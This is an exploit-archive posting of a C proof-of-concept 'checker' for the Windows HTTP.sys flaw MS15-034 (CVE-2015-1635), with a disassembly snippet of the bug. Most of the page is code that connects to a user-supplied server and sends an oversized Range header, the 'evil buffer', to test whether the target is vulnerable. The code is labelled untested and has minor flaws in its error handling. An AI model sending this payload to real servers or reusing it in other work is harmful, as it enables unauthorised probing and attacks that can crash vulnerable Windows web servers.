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Microsoft Windows HTTP.sys Proof Of Concept

Microsoft Windows HTTP.sys Proof Of Concept
Posted Apr 16, 2015
Authored by rhcp011235

Microsoft Windows HTTP.sys proof of concept exploit for MS15-034.

tags | exploit, web, proof of concept
systems | windows
advisories | CVE-2015-1635
SHA-256 | b962eb94796643c1f7df4412502d1acc226c3e768498d683a56c3660db367cc2

Microsoft Windows HTTP.sys Proof Of Concept

Change Mirror Download
/*
UNTESTED - MS15-034 Checker

THE BUG:

8a8b2112 56 push esi
8a8b2113 6a00 push 0
8a8b2115 2bc7 sub eax,edi
8a8b2117 6a01 push 1
8a8b2119 1bca sbb ecx,edx
8a8b211b 51 push ecx
8a8b211c 50 push eax
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here

ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4

BY: john.b.hale@gmai.com
Twitter: @rhcp011235
*/

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <errno.h>
#include <arpa/inet.h>

int connect_to_server(char *ip)
{
int sockfd = 0, n = 0;

struct sockaddr_in serv_addr;
struct hostent *server;

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
printf("\n Error : Could not create socket \n");
return 1;
}

memset(&serv_addr, '0', sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_port = htons(80);
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
{
printf("\n inet_pton error occured\n");
return 1;
}
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
{
printf("\n Error : Connect Failed \n");
return 1;
}

return sockfd;
}


int main(int argc, char *argv[])
{
int n = 0;
int sockfd;
char recvBuff[1024];

// Check server
char request[] = "GET / HTTP/1.0\r\n\r\n";

// our evil buffer
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";


if(argc != 2)
{
printf("\n Usage: %s <ip of server> \n",argv[0]);
return 1;
}

printf("[*] Audit Started\n");
sockfd = connect_to_server(argv[1]);
write(sockfd, request, strlen(request));
read(sockfd, recvBuff, sizeof(recvBuff)-1);

if (!strstr(recvBuff,"Microsoft"))
{
printf("[*] NOT IIS\n");
exit(1);
}

sockfd = connect_to_server(argv[1]);
write(sockfd, request1, strlen(request1));
read(sockfd, recvBuff, sizeof(recvBuff)-1);
if (strstr(recvBuff,"Requested Range Not Satisfiable"))
{
printf("[!!] Looks VULN\n");
exit(1);
} else if(strstr(recvBuff,"The request has an invalid header name")) {
printf("[*] Looks Patched");
} else
printf("[*] Unexpected response, cannot discern patch status");




}

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